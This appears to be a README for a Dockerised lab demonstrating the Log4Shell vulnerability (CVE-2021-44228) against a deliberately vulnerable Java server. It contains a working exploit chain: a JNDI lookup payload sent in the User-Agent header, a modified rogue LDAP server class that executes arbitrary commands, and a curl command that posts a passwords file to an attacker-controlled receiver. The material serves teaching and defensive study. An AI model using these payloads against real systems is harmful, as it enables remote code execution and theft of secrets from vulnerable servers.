
A simple demonstration of CVE-2021-44228 to transfer data from a vulnerable server to a web service controlled by an attacker. All components involved are running via Docker.
This is a standard Java server acting as the victim. It's running:
8u111This server is VULNERABLE using this configuration.
Additional Information:
/logging (GET) will log the user agent using Log4J/foo/passwords.txt exists (the attackers target)Content of passwords.txt:
my secret
This is a standard Java server acting as the data collector of the attacker. It's running:
17Additional information:
receiver (POST) will log the request bodyThis is an LDAP server powered by rogue-jndi.
Its ExportJava class has been modified so that commands passed via the -c flag get executed.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
When requested by the vulnerable server it will respond with a class running the following command when instantiated:
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
This will effectively post the content of /foo/passwords.txt to the malicious receiver's prepared endpoint.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt file../stop.sh